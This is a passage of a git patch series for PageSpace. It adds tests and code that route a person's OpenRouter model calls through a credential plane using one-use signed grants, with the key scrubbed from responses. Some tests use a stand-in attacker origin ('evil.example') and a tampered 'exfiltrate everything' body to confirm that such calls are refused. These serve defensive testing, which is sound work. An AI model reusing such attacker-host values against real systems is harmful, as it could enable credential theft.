diff --git a/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts b/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts
new file mode 100644
index 0000000000..f48a23e2aa
--- /dev/null
+++ b/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts
@@ -0,0 +1,228 @@
+/**
+ * ADR 0009 — the plane's inference executor with the REAL grant chain: `authorizeInference` → `signGrant` →
+ * `createGrantGate` (verifyGrant + one-use nonce) → `createAuditedExecutor`, around a fake store and a fake
+ * OpenRouter stream. Pinned here:
+ * - the key reaches the upstream only as `Authorization: Bearer`, and never comes back, even split across chunks;
+ * - `allowed` is audited before the request is sent and the outcome after the stream ends;
+ * - a replayed grant, a changed body, a plane binding that is not OpenRouter, an ordinary api_key account and a
+ * reached ceiling all send nothing.
+ */
+import { describe, expect, it } from 'vitest';
+import { createHash, createPublicKey, generateKeyPairSync, sign as nodeSign, verify as nodeVerify } from 'node:crypto';
+import type { AgentAccountRecord } from '@pagespace/db/schema/agent-accounts';
+import type { ConversationId, Ed25519Verify, GrantId, HashBytes, Nonce, PresenterKeyId, RunId, SessionId, UserId } from '../../grant';
+import type { AuthorityKey } from '../../account-authority-key';
+import type { AgentAccountAuditRepository } from '../../audit-repository';
+import type { ReplayStoreRepository } from '../../replay-store-repository';
+import type { OutboundRequest } from '../../build-outbound-request';
+import type { StreamSendOutcome } from '../pinned-https-stream';
+import { authorizeInference } from '../../authorize';
+import { signGrant } from '../../sign-grant';
+import { createGrantGate } from '../../grant-gate-executor';
+import { createAuditedExecutor } from '../../audit-gate-executor';
+import { INFERENCE_ORIGIN, MODEL_KEY_PROVIDER_SLUG, modelKeyApprovalPolicy } from '../../inference/model-key';
+import { createInferenceExecutor, type InferenceResult } from '../inference-executor';
+
+const sha3: HashBytes = (bytes) => createHash('sha3-256').update(bytes).digest('hex');
+const sha256: HashBytes = (bytes) => createHash('sha256').update(bytes).digest('hex');
+const verify: Ed25519Verify = (message, signature, publicKey) => nodeVerify(null, message, createPublicKey({ key: Buffer.from(publicKey), type: 'spki', format: 'der' }), signature);
+const pair = generateKeyPairSync('ed25519');
+const authorityKey: AuthorityKey = {
+ keyId: 'k1',
+ publicKey: new Uint8Array(pair.publicKey.export({ type: 'spki', format: 'der' })),
+ sign: (message) => new Uint8Array(nodeSign(null, message, pair.privateKey)),
+};
+const KEY = 'sk-or-v1-deadbeefdeadbeefdeadbeefdeadbeefdeadbeef';
+const HUMAN = 'user_h' as UserId;
+const PRESENTER = 'pk_1' as PresenterKeyId;
+const NOW = Date.now();
+const body = JSON.stringify({ model: 'openai/gpt-5.5', messages: [{ role: 'user', content: 'hi' }], stream: true });
+
+const account = {
+ id: 'acct_mk',
+ kind: 'api_key',
+ ownerKind: 'user',
+ ownerUserId: HUMAN,
+ ownerAgentPageId: null,
+ ownerDriveId: null,
+ tenantId: `user:${HUMAN}`,
+ name: 'OpenRouter model key',
+ providerSlug: MODEL_KEY_PROVIDER_SLUG,
+ allowedOrigins: [INFERENCE_ORIGIN],
+ auxiliaryOrigins: [],
+ resourceRestrictions: {},
+ approvalPolicy: modelKeyApprovalPolicy({ approver: HUMAN }),
+ credentialVersion: 1,
+ policyVersion: 1,
+ acknowledgment: 'dedicated_agent_account',
+ sessionFormat: null,
+ sessionHttpEnabled: false,
+ status: 'active',
+ upstreamRevocation: null,
+ lastUsedAt: null,
+ createdAt: new Date(NOW - 10_000),
+ updatedAt: new Date(NOW - 10_000),
+ revokedAt: null,
+} as unknown as AgentAccountRecord;
+
+const run = { human: { userId: HUMAN, sessionId: 'sess_1' as SessionId }, agentPageId: null, conversationId: 'conv_1' as ConversationId, runId: 'run_1' as RunId };
+
+function grantFor(text: string, nonce = `n_${Math.random()}`) {
+ const verdict = authorizeInference({
+ caller: { actorUserId: HUMAN, actingHumanUserId: HUMAN, sessionId: run.human.sessionId, conversationId: run.conversationId, runId: run.runId, callerCeiling: { allowedDriveIds: [], originatingMcpTokenId: null } },
+ account,
+ facts: { humanDriveRole: null, agentPagePermission: 'none', agentBoundToAccount: false, boundAgentPageIds: [], delegation: { kind: 'none' }, ceilingAdmitsAccount: true },
+ body: text,
+ sha256,
+ approvals: [],
+ usage: { usesThisHour: 0, bytesOutThisHour: 0, concurrent: 0 },
+ presenter: { keyId: PRESENTER, channel: 'inference-executor' },
+ now: Date.now(),
+ grantId: `g_${nonce}` as GrantId,
+ nonce: nonce as Nonce,
+ ttlMs: 60_000,
+ hash: sha3,
+ });
+ if (!verdict.ok) throw new Error(`fixture grant refused: ${verdict.reason}`);
+ return { grant: verdict.grant, signature: signGrant({ grant: verdict.grant, key: authorityKey }) };
+}
+
+function harness({ chunks = [`data: {"echo":"${KEY.slice(0, 20)}`, `${KEY.slice(20)}"}\n\n`, 'data: [DONE]\n\n'], row = account, pinnedOrigin = INFERENCE_ORIGIN as string, reserves = true }: { chunks?: readonly string[]; row?: AgentAccountRecord; pinnedOrigin?: string; reserves?: boolean } = {}) {
+ const sent: OutboundRequest[] = [];
+ const audit: string[] = [];
+ const finished: string[] = [];
+ const spent = new Set();
+ const replayStore: ReplayStoreRepository = {
+ lookup: async () => ({ ok: true, recorded: null }),
+ consume: async ({ nonce }) => {
+ if (spent.has(nonce)) return 'replayed';
+ spent.add(nonce);
+ return 'consumed';
+ },
+ sweepExpired: async () => 0,
+ };
+ const auditRepository: AgentAccountAuditRepository = {
+ accept: async ({ record }) => {
+ audit.push(record.outcome.kind);
+ return { kind: 'accepted' };
+ },
+ acceptDenial: async () => {
+ audit.push('denied');
+ return { kind: 'accepted' };
+ },
+ };
+ const network = {
+ stream: async (request: OutboundRequest): Promise => {
+ sent.push(request);
+ let close: (how: 'complete' | 'cut') => void = () => undefined;
+ const closed = new Promise<'complete' | 'cut'>((done) => {
+ close = done;
+ });
+ async function* stream() {
+ for (const chunk of chunks) yield new TextEncoder().encode(chunk);
+ close('complete');
+ }
+ return { kind: 'response', status: 200, headers: [['content-type', 'text/event-stream'], ['set-cookie', `k=${KEY}`]], body: stream(), closed, abort: () => close('cut') };
+ },
+ };
+ const executor = createInferenceExecutor({
+ store: {
+ describe: async () => ({ ok: true, bindings: { allowedOrigins: [pinnedOrigin] }, version: 1, previousVersion: null, rotatedAt: null, revokedAt: null }) as never,
+ resolve: async () => ({ ok: true, material: { value: KEY, placement: { in: 'header', name: 'authorization' } } }) as never,
+ },
+ provisioner: { identityOf: async () => ({ identityId: 'id_1' }) as never },
+ accounts: { find: async () => row, findApproval: async () => null, findDelegation: async () => null, touchLastUsed: async () => undefined },
+ grantGate: createGrantGate({ replayStore }),
+ audited: createAuditedExecutor({ auditRepository, hash: sha3 }),
+ network,
+ planeScope: async () => ({ approvalPolicy: modelKeyApprovalPolicy({ approver: HUMAN }) }) as never,
+ usage: { window: async () => ({ usesThisHour: 0, bytesOutThisHour: 0, concurrent: 0 }), reserve: async () => reserves, finish: async ({ grantId }) => void finished.push(grantId) },
+ issuerPublicKey: authorityKey.publicKey,
+ presenterKeyId: PRESENTER,
+ verify,
+ hash: sha3,
+ sha256,
+ now: () => Date.now(),
+ rotationGraceMs: 300_000,
+ });
+ return { executor, sent, audit, finished };
+}
+
+async function drain(result: InferenceResult): Promise {
+ if (!result.ok) return `refused:${result.reason}`;
+ const parts: Buffer[] = [];
+ for await (const chunk of result.body) parts.push(Buffer.from(chunk));
+ await result.finished;
+ return Buffer.concat(parts).toString('utf8');
+}
+
+describe('createInferenceExecutor', () => {
+ it('given a valid grant, should send the key only as a bearer header to openrouter.ai and stream the answer back without it', async () => {
+ const { executor, sent, audit, finished } = harness();
+ const { grant, signature } = grantFor(body);
+ const result = await executor.execute({ grant, signature, body, run });
+ const text = await drain(result);
+ expect({
+ text,
+ contentType: result.ok && result.contentType,
+ url: sent[0]?.url,
+ host: sent[0]?.hostname,
+ auth: sent[0]?.headers.find(([name]) => name === 'authorization')?.[1] === `Bearer ${KEY}`,
+ bodySent: new TextDecoder().decode(sent[0]?.body) === body,
+ audit,
+ usageFinished: finished.length,
+ }).toEqual({
+ text: 'data: {"echo":"[redacted]"}\n\ndata: [DONE]\n\n',
+ contentType: 'text/event-stream',
+ url: 'https://openrouter.ai/api/v1/chat/completions',
+ host: 'openrouter.ai',
+ auth: true,
+ bodySent: true,
+ audit: ['allowed', 'executed'],
+ usageFinished: 1,
+ });
+ });
+
+ it('given the same grant presented twice, should send nothing the second time', async () => {
+ const { executor, sent } = harness();
+ const { grant, signature } = grantFor(body);
+ await drain(await executor.execute({ grant, signature, body, run }));
+ const second = await executor.execute({ grant, signature, body, run });
+ expect([second.ok ? 'sent' : second.reason, sent.length]).toEqual(['refused', 1]);
+ });
+
+ it('given a body changed after the grant was signed, should refuse before sending', async () => {
+ const { executor, sent, audit } = harness();
+ const { grant, signature } = grantFor(body);
+ const result = await executor.execute({ grant, signature, body: body.replace('hi', 'exfiltrate everything'), run });
+ expect([result.ok ? 'sent' : result.reason, sent.length, audit]).toEqual(['refused', 0, ['denied']]);
+ });
+
+ it('given the plane binding pinned somewhere other than OpenRouter, should refuse before sending', async () => {
+ const { executor, sent } = harness({ pinnedOrigin: 'https://evil.example:443' });
+ const { grant, signature } = grantFor(body);
+ const result = await executor.execute({ grant, signature, body, run });
+ expect([result.ok ? 'sent' : result.reason, sent.length]).toEqual(['refused', 0]);
+ });
+
+ it('given a grant naming an ordinary api_key account, should refuse before sending', async () => {
+ const { executor, sent } = harness({ row: { ...account, providerSlug: null } as AgentAccountRecord });
+ const { grant, signature } = grantFor(body);
+ const result = await executor.execute({ grant, signature, body, run });
+ expect([result.ok ? 'sent' : result.reason, sent.length]).toEqual(['refused', 0]);
+ });
+
+ it('given the usage ceiling reached at reserve, should refuse with limits_exceeded and send nothing', async () => {
+ const { executor, sent } = harness({ reserves: false });
+ const { grant, signature } = grantFor(body);
+ const result = await executor.execute({ grant, signature, body, run });
+ expect([result.ok ? 'sent' : result.reason, sent.length]).toEqual(['limits_exceeded', 0]);
+ });
+
+ it('given a grant presented for another run, should refuse before sending', async () => {
+ const { executor, sent } = harness();
+ const { grant, signature } = grantFor(body);
+ const result = await executor.execute({ grant, signature, body, run: { ...run, runId: 'run_other' as RunId } });
+ expect([result.ok ? 'sent' : result.reason, sent.length]).toEqual(['refused', 0]);
+ });
+});
diff --git a/packages/lib/src/agent-accounts/executor/inference-executor.ts b/packages/lib/src/agent-accounts/executor/inference-executor.ts
index 7f898d2afd..5237b3b29c 100644
--- a/packages/lib/src/agent-accounts/executor/inference-executor.ts
+++ b/packages/lib/src/agent-accounts/executor/inference-executor.ts
@@ -47,6 +47,8 @@ export type InferenceExecutorDeps = {
readonly sha256: HashBytes;
readonly now: () => number;
readonly rotationGraceMs: StoreLimits['rotationGraceMs'];
+ /** Tests only: the port OpenRouter's pinned hostname is reached on (the hostname, path and TLS name never change). */
+ readonly upstreamPort?: number;
};
export type InferenceRequest = {
@@ -178,7 +180,7 @@ export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceE
method: 'POST',
url: INFERENCE_URL,
hostname: target.hostname,
- port: 443,
+ port: deps.upstreamPort ?? 443,
headers: [
['accept', 'text/event-stream, application/json'],
['accept-encoding', 'identity'],
diff --git a/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts b/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts
index 05eb05243e..f5ae7f14d8 100644
--- a/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts
+++ b/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts
@@ -12,7 +12,6 @@ import type { AgentAccountRecord } from '@pagespace/db/schema/agent-accounts';
import type { ConversationId, DelegationId, GrantId, HashBytes, Nonce, PresenterKeyId, RunId, SessionId, UserId } from '../../grant';
import { authorize, authorizeInference } from '../../authorize';
import { INFERENCE_ORIGIN, MODEL_KEY_PROVIDER_SLUG, MODEL_KEY_SCOPE, modelKeyApprovalPolicy } from '../model-key';
-import { OPERATION_REGISTRY_FIXTURE } from '../../__tests__/operation-registry.fixture';
const sha3: HashBytes = (bytes) => createHash('sha3-256').update(bytes).digest('hex');
const sha256: HashBytes = (bytes) => createHash('sha256').update(bytes).digest('hex');
@@ -148,7 +147,7 @@ describe('authorize (http_request) on a model key', () => {
account: modelKey,
facts: { humanDriveRole: null, agentPagePermission: 'none', agentBoundToAccount: false, boundAgentPageIds: [], delegation: { kind: 'none' }, ceilingAdmitsAccount: true },
request: { channel: 'http-executor', method: 'POST', url: 'https://openrouter.ai/api/v1/chat/completions', headers: { 'content-type': 'application/json' }, body: new TextEncoder().encode(body) },
- registry: OPERATION_REGISTRY_FIXTURE,
+ registry: [],
approvals: [],
usage: { usesThisHour: 0, bytesOutThisHour: 0, concurrent: 0 },
presenter: { keyId: 'pk_1' as PresenterKeyId, channel: 'http-executor' },
From 45da033a4232616acfaece6d745de1d1cd6f5d2b Mon Sep 17 00:00:00 2001
From: 2witstudios <2witstudios@gmail.com>
Date: Sun, 29 Nov 2026 19:50:54 -0600
Subject: [PATCH 04/35] feat(ai): route a person's model calls to their own key
through the plane, never billed (BYOK-6, BYOK-7)
- decideModelKeySource: the person's key only when the flag is on for them,
they have an active model key, the call goes to OpenRouter, it is not
on-prem, and no org governs the call or its content; otherwise PageSpace's
key. If the plane is not configured the call is refused, never moved to
PageSpace's key.
- provider-factory builds OpenRouter with a plane-backed fetch (no key in the
web process; OPENROUTER_BASE_URL never applies) and reports keySource.
- Billing: ai_usage_logs.key_source, no credit settle, no cost reconcile and
no orphan re-settle for user-key rows; page chat and image generation skip
the credit gate and the pro-tier model gate on the person's own key.
Co-Authored-By: Claude Opus 5.5
Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR
---
.../lib/ai/chat-pipeline/page-chat-turn.ts | 21 ++++-
apps/web/src/lib/ai/core/byok-responses.ts | 11 +++
.../src/lib/ai/core/generation-admission.ts | 7 +-
apps/web/src/lib/ai/core/model-key-source.ts | 84 +++++++++++++++++++
.../src/lib/ai/core/plane-inference-fetch.ts | 70 ++++++++++++++++
apps/web/src/lib/ai/core/provider-factory.ts | 76 +++++++++++++++--
.../lib/ai/tools/image-generation-tools.ts | 20 +++--
packages/lib/src/billing/credit-backfill.ts | 2 +
packages/lib/src/logging/logger-database.ts | 3 +
packages/lib/src/monitoring/ai-monitoring.ts | 18 ++--
10 files changed, 290 insertions(+), 22 deletions(-)
create mode 100644 apps/web/src/lib/ai/core/byok-responses.ts
create mode 100644 apps/web/src/lib/ai/core/model-key-source.ts
create mode 100644 apps/web/src/lib/ai/core/plane-inference-fetch.ts
diff --git a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts
index 965ee26790..5282913a54 100644
--- a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts
+++ b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts
@@ -44,6 +44,8 @@ import {
import { MAX_CHAT_INFLIGHT } from '@pagespace/lib/billing/credit-pricing';
import { canConsumeAI } from '@pagespace/lib/billing/credit-gate';
import { isMeteringExempt } from '@pagespace/lib/ai/model-defaults';
+import { resolveModelKeySource, type ModelKeySource } from '@/lib/ai/core/model-key-source';
+import { createByokUnavailableResponse } from '@/lib/ai/core/byok-responses';
import { estimateChatHoldCentsForModel } from '@pagespace/lib/monitoring/chat-pricing';
import { makeOnStepFinishHandler } from '@/lib/ai/core/step-finish-handler';
import { releaseHold } from '@pagespace/lib/billing/credit-consume';
@@ -366,6 +368,8 @@ export async function runPageChatTurn(ctx: PageChatTurnContext): Promise> | undefined;
// The credit-gate reservation for this request, released when usage is billed.
let holdId: string | undefined;
+ // BYOK (ADR 0009): whose key the turn runs on; read by the error path's billing too.
+ let turnKeySource: ModelKeySource = 'managed';
// What the gate named: the wallet, the source and the funding tier (see turn-credit).
let credit: TurnCredit = UNGATED_TURN_CREDIT;
// True once the stream/error handler owns the hold's release. Any earlier
@@ -801,7 +805,12 @@ export async function runPageChatTurn(ctx: PageChatTurnContext): Promise boolean;
+ /**
+ * BYOK (ADR 0009): the call runs on the person's own OpenRouter key, so they pay OpenRouter directly and no
+ * PageSpace tier gates the model. The admin-only role gate still applies.
+ */
+ ownKey?: boolean;
}): GenerationAdmission {
const { provider, model, subscriptionTier, isAdmin } = input;
@@ -57,7 +62,7 @@ export function resolveGenerationAdmission(input: {
return { allowed: false, reason: 'provider_admin_only' };
}
- if (input.requiresProSubscription(provider, model, subscriptionTier, isAdmin)) {
+ if (!input.ownKey && input.requiresProSubscription(provider, model, subscriptionTier, isAdmin)) {
return { allowed: false, reason: 'subscription_required' };
}
diff --git a/apps/web/src/lib/ai/core/model-key-source.ts b/apps/web/src/lib/ai/core/model-key-source.ts
new file mode 100644
index 0000000000..03cbf7b262
--- /dev/null
+++ b/apps/web/src/lib/ai/core/model-key-source.ts
@@ -0,0 +1,84 @@
+/**
+ * WHOSE KEY PAYS FOR A MODEL CALL (ADR 0009) — one decision, made once per call
+ * and carried to the credit gate, the provider and billing alike, so the three
+ * can never disagree about it.
+ *
+ * `user_key` only when every one of these holds:
+ * - not on-prem, and the call goes to OpenRouter (local and flat-rate
+ * providers never take a person's key);
+ * - an admin turned the `byok_model_key` flag on for this person;
+ * - the person has an active model key;
+ * - no org governs the call or its content (I6): a personal OpenRouter account
+ * would otherwise log an org's content outside the org's control, and the org
+ * pays for its own drives' calls. That is a routing rule, not a fallback.
+ * Otherwise `managed`, exactly as before the flag existed.
+ *
+ * And once a call would use the person's key, it never quietly switches to
+ * PageSpace's key (I7): if the credential plane is not configured, the call is
+ * refused with a reason the person can read.
+ */
+import { db } from '@pagespace/db/db';
+import { inArray } from '@pagespace/db/operators';
+import { drives } from '@pagespace/db/schema/core';
+import { isOnPrem } from '@pagespace/lib/deployment-mode';
+import { isFeatureEnabled } from '@pagespace/lib/feature-flags/feature-flag-repository';
+import { createAgentAccountRepository } from '@pagespace/lib/agent-accounts/agent-account-repository';
+import { isModelKeyAccount } from '@pagespace/lib/agent-accounts/inference/model-key';
+import { isAgentAccountsConfigured } from '@/lib/agent-accounts/agent-accounts-config';
+import { getBackendProvider } from './provider-backend';
+
+export type ModelKeySource = 'managed' | 'user_key';
+
+export type ModelKeyDecision = { readonly source: ModelKeySource } | { readonly source: 'refused'; readonly reason: 'byok_unavailable' };
+
+export type ModelKeyFacts = {
+ readonly onPrem: boolean;
+ /** The backend the resolved provider runs on (`openrouter` for every cloud vendor). */
+ readonly backend: string;
+ readonly flagEnabled: boolean;
+ readonly hasModelKey: boolean;
+ /** The call's drive, a content drive, or derived content belongs to an org. */
+ readonly orgGoverned: boolean;
+ /** The credential plane and grant-signing key are configured on this deployment. */
+ readonly planeConfigured: boolean;
+};
+
+export function decideModelKeySource(facts: ModelKeyFacts): ModelKeyDecision {
+ if (facts.onPrem || facts.backend !== 'openrouter') return { source: 'managed' };
+ if (!facts.flagEnabled || !facts.hasModelKey || facts.orgGoverned) return { source: 'managed' };
+ if (!facts.planeConfigured) return { source: 'refused', reason: 'byok_unavailable' };
+ return { source: 'user_key' };
+}
+
+export type ModelKeyCallScope = {
+ readonly userId: string;
+ /** The resolved provider that will run (catalog key, e.g. `anthropic`, `openrouter`, `glm`). */
+ readonly provider: string;
+ /** The drive the call runs in; null when none. */
+ readonly driveId: string | null;
+ readonly contentDriveIds?: readonly string[];
+ readonly contentOrgIds?: readonly string[];
+};
+
+/** Read the facts and decide. Cheap when the flag is off (one indexed read, no account lookup). */
+export async function resolveModelKeySource(scope: ModelKeyCallScope): Promise {
+ const onPrem = isOnPrem();
+ const backend = getBackendProvider(scope.provider);
+ if (onPrem || backend !== 'openrouter') return { source: 'managed' };
+ const flagEnabled = await isFeatureEnabled('byok_model_key', scope.userId).catch(() => false);
+ if (!flagEnabled) return { source: 'managed' };
+
+ const driveIds = [...new Set([scope.driveId, ...(scope.contentDriveIds ?? [])].filter((id): id is string => typeof id === 'string' && id.length > 0))];
+ const orgDrives = driveIds.length === 0 ? [] : await db.select({ orgId: drives.orgId }).from(drives).where(inArray(drives.id, driveIds));
+ const orgGoverned = (scope.contentOrgIds?.length ?? 0) > 0 || orgDrives.some((drive) => drive.orgId !== null);
+
+ const rows = await createAgentAccountRepository({ db }).listForUser(scope.userId);
+ const hasModelKey = rows.some((row) => isModelKeyAccount(row) && row.ownerKind === 'user' && row.status === 'active' && row.credentialVersion > 0);
+
+ return decideModelKeySource({ onPrem, backend, flagEnabled, hasModelKey, orgGoverned, planeConfigured: isAgentAccountsConfigured() });
+}
+
+/** Whether a call on this key source is billed in PageSpace credits. */
+export function isBilledKeySource(source: ModelKeySource | undefined): boolean {
+ return source !== 'user_key';
+}
diff --git a/apps/web/src/lib/ai/core/plane-inference-fetch.ts b/apps/web/src/lib/ai/core/plane-inference-fetch.ts
new file mode 100644
index 0000000000..ead7b18b04
--- /dev/null
+++ b/apps/web/src/lib/ai/core/plane-inference-fetch.ts
@@ -0,0 +1,70 @@
+/**
+ * The `fetch` the OpenRouter provider uses when a call runs on the person's own key (ADR 0009). It never
+ * holds the key: each request the AI SDK makes becomes one `requestInference` — a fresh one-use grant over
+ * the exact body — and the Response that comes back IS OpenRouter's answer, streamed through the
+ * credential plane with the key scrubbed.
+ *
+ * A request that cannot run on the person's key is answered with an OpenRouter-shaped error the SDK
+ * surfaces as the turn's error, so the person reads why. It is never sent anywhere else: there is no path
+ * from here to PageSpace's own key (I7).
+ */
+import type { AccountAuthority, InferenceRefusal } from '@pagespace/lib/agent-accounts/account-authority-executor';
+import type { ConversationId, RunId, SessionId, UserId } from '@pagespace/lib/agent-accounts/grant';
+import { INFERENCE_URL } from '@pagespace/lib/agent-accounts/inference/model-key';
+
+export type PlaneInferenceContext = {
+ readonly userId: string;
+ readonly sessionId: string | null;
+ readonly conversationId: string;
+ readonly runId: string;
+};
+
+type FetchInput = Parameters[0];
+
+const urlOf = (input: FetchInput) => (typeof input === 'string' ? input : input instanceof URL ? input.href : input.url);
+
+/** What the person is told, per refusal. None of it names an account id or anything an agent could use. */
+const REFUSAL_COPY: Record = {
+ no_model_key: { status: 403, message: 'Your OpenRouter key is not available any more (it was removed or revoked). Add it again in Settings → AI.' },
+ request_refused: { status: 400, message: 'This request could not be sent with your OpenRouter key.' },
+ limits_exceeded: { status: 429, message: 'Your OpenRouter key reached its PageSpace limit for this hour. Try again shortly.' },
+ refused: { status: 403, message: 'The credential plane refused this call on your OpenRouter key.' },
+ upstream_unreachable: { status: 502, message: 'OpenRouter could not be reached with your key.' },
+ audit_unavailable: { status: 503, message: 'Your OpenRouter key cannot be used right now (the audit log is unavailable). Nothing was sent.' },
+ plane_unavailable: { status: 503, message: 'Your OpenRouter key cannot be used right now (the credential plane is unavailable). Nothing was sent.' },
+ outcome_unknown: { status: 504, message: 'The call on your OpenRouter key did not finish; it may have been billed by OpenRouter.' },
+};
+
+export function byokErrorResponse(reason: InferenceRefusal['reason'] | 'byok_unavailable'): Response {
+ const copy = reason === 'byok_unavailable' ? { status: 503, message: 'Your own OpenRouter key is switched on, but this deployment cannot use it right now. PageSpace did not use its own key instead.' } : REFUSAL_COPY[reason];
+ return new Response(JSON.stringify({ error: { message: copy.message, code: copy.status, metadata: { byok: reason } } }), { status: copy.status, headers: { 'content-type': 'application/json' } });
+}
+
+async function bodyText(input: FetchInput, init: RequestInit | undefined): Promise {
+ const body = init?.body ?? (input instanceof Request ? await input.clone().text() : undefined);
+ if (typeof body === 'string') return body;
+ if (body instanceof Uint8Array) return new TextDecoder().decode(body);
+ return null;
+}
+
+export function createPlaneInferenceFetch({ authority, context }: { readonly authority: AccountAuthority | null; readonly context: PlaneInferenceContext }): typeof fetch {
+ const planeFetch = async (input: FetchInput, init?: RequestInit): Promise => {
+ if (authority === null) return byokErrorResponse('byok_unavailable');
+ // Only the pinned chat-completions endpoint: anything else the SDK might ask for is not a model call we send.
+ if (urlOf(input).split('?')[0] !== INFERENCE_URL) return byokErrorResponse('request_refused');
+ const body = await bodyText(input, init);
+ if (body === null) return byokErrorResponse('request_refused');
+ const result = await authority.requestInference({
+ caller: {
+ userId: context.userId as UserId,
+ sessionId: context.sessionId as SessionId | null,
+ conversationId: context.conversationId as ConversationId,
+ runId: context.runId as RunId,
+ },
+ body,
+ signal: init?.signal ?? undefined,
+ });
+ return result.ok ? result.response : byokErrorResponse(result.reason);
+ };
+ return planeFetch as typeof fetch;
+}
diff --git a/apps/web/src/lib/ai/core/provider-factory.ts b/apps/web/src/lib/ai/core/provider-factory.ts
index 0a72b23fea..80d6274453 100644
--- a/apps/web/src/lib/ai/core/provider-factory.ts
+++ b/apps/web/src/lib/ai/core/provider-factory.ts
@@ -20,7 +20,11 @@ import { users } from '@pagespace/db/schema/auth';
import { isOnPrem } from '@pagespace/lib/deployment-mode';
import { getDrivePolicies, getOrgPolicies } from '@pagespace/lib/organizations/policy-reader';
import { modelDecision } from '@pagespace/lib/organizations/org-action-decisions';
+import { randomUUID } from 'node:crypto';
import { getManagedProviderKey } from './ai-utils';
+import { resolveModelKeySource, type ModelKeyDecision, type ModelKeySource } from './model-key-source';
+import { createPlaneInferenceFetch } from './plane-inference-fetch';
+import { getAccountAuthority } from '@/lib/agent-accounts/account-authority-client';
import { AI_PROVIDERS, ONPREM_ALLOWED_PROVIDERS, resolveProviderModel } from './ai-providers-config';
// The local/on-prem providers (ONPREM_ALLOWED_PROVIDERS = ollama/lmstudio/azure_openai)
@@ -57,6 +61,13 @@ export interface ProviderFactoryOptions {
contentDriveIds?: readonly string[];
/** Retained provenance of derived input, including sources no longer represented by a current drive. */
contentOrgIds?: readonly string[];
+ /**
+ * BYOK (ADR 0009): whose key this call runs on, when the caller already decided it (at its credit gate) —
+ * so the gate, the provider and billing act on ONE decision. Omitted: decided here.
+ */
+ keySource?: ModelKeyDecision;
+ /** The run this call belongs to, for the audit of a call on the person's own key. */
+ modelCall?: { readonly sessionId?: string | null; readonly conversationId?: string | null };
}
/**
@@ -90,16 +101,46 @@ export interface ProviderResult {
model: LanguageModel;
provider: string;
modelName: string;
+ /** Whose key the call runs on: `user_key` is never billed in credits (ADR 0009). Absent = `managed`. */
+ keySource?: ModelKeySource;
}
export interface ProviderError {
error: string;
status: number;
- /** Set when an org policy refused the call (POL-8), with the policy's key. */
- code?: 'org_policy';
+ /** Set when an org policy refused the call (POL-8), with the policy's key; `byok_unavailable` when the person's own key cannot be used (ADR 0009). */
+ code?: 'org_policy' | 'byok_unavailable';
policy?: string;
}
+function byokUnavailable(): ProviderError {
+ return {
+ error: 'Your own OpenRouter key is switched on, but this deployment cannot use it right now. PageSpace did not use its own key instead.',
+ status: 503,
+ code: 'byok_unavailable',
+ };
+}
+
+/**
+ * OpenRouter on the person's own key (ADR 0009): no key here at all — the plane-backed fetch turns each request
+ * into a one-use grant the credential plane verifies before it adds the key. Always OpenRouter's real origin:
+ * `OPENROUTER_BASE_URL` (a test stub for PageSpace's key) never applies to a person's key.
+ */
+function userKeyOpenRouter(userId: string, options: Pick) {
+ return createOpenRouter({
+ apiKey: 'held-by-the-credential-plane',
+ fetch: createPlaneInferenceFetch({
+ authority: getAccountAuthority(),
+ context: {
+ userId,
+ sessionId: options.modelCall?.sessionId ?? null,
+ conversationId: options.modelCall?.conversationId ?? `model-call-${randomUUID()}`,
+ runId: randomUUID(),
+ },
+ }),
+ });
+}
+
function notConfigured(provider: string): ProviderError {
return {
error: `${provider} provider is not configured on this deployment.`,
@@ -155,6 +196,13 @@ export async function createAIProvider(
};
}
+ // ADR 0009: one decision about whose key runs, shared with the gate when the caller made it there.
+ const keyDecision =
+ options.keySource ??
+ (await resolveModelKeySource({ userId, provider: currentProvider, driveId: options.driveId, contentDriveIds: options.contentDriveIds, contentOrgIds: options.contentOrgIds }));
+ if (keyDecision.source === 'refused') return byokUnavailable();
+ const keySource: ModelKeySource = keyDecision.source;
+
try {
let model;
@@ -240,13 +288,14 @@ export async function createAIProvider(
// Every cloud vendor is served through OpenRouter. The model id already
// carries its vendor prefix (openai/…, anthropic/…) and is forwarded as-is.
const managed = getManagedProviderKey('openrouter');
- if (!managed?.apiKey) return notConfigured('OpenRouter');
+ // A person's own key needs no deployment key at all.
+ if (keySource === 'managed' && !managed?.apiKey) return notConfigured('OpenRouter');
// X-OpenRouter-Cache enables OpenRouter's response cache (default 300s TTL):
// byte-identical repeat requests are served from cache at $0 with zeroed
// usage. See timestamp-utils.ts — the system-prompt timestamp is bucketed
// to the cache window so genuine repeats (regenerate/retry) can HIT.
- const openrouter = createOpenRouter({
- apiKey: managed.apiKey,
+ const openrouter = keySource === 'user_key' ? userKeyOpenRouter(userId, options) : createOpenRouter({
+ apiKey: managed?.apiKey,
// OPENROUTER_BASE_URL lets a non-prod environment (e.g. e2e) redirect the
// OpenRouter API at a deterministic stub that returns known usage.cost, so
// billing can be asserted end-to-end. Unset in prod → real OpenRouter.
@@ -281,6 +330,7 @@ export async function createAIProvider(
model,
provider: currentProvider,
modelName: currentModel,
+ keySource,
};
} catch (error) {
console.error('Error creating AI provider:', error);
@@ -333,11 +383,21 @@ function providerOfModelId(modelId: string): string {
*/
export async function createImageProvider(
request: { model: string },
- options: Pick,
-): Promise<{ client: OpenRouterImageClient; provider: string; modelName: string } | ProviderError> {
+ options: Pick & {
+ /** Whose own key may pay for the image (the billed person); absent = PageSpace's key. */
+ readonly userId?: string;
+ },
+): Promise<{ client: OpenRouterImageClient; provider: string; modelName: string; keySource: ModelKeySource } | ProviderError> {
const provider = providerOfModelId(request.model);
const refusal = await orgModelRefusal([options.driveId, ...(options.contentDriveIds ?? [])], [{ modelId: request.model, provider }], options.contentOrgIds);
if (refusal) return refusal;
+ const keyDecision =
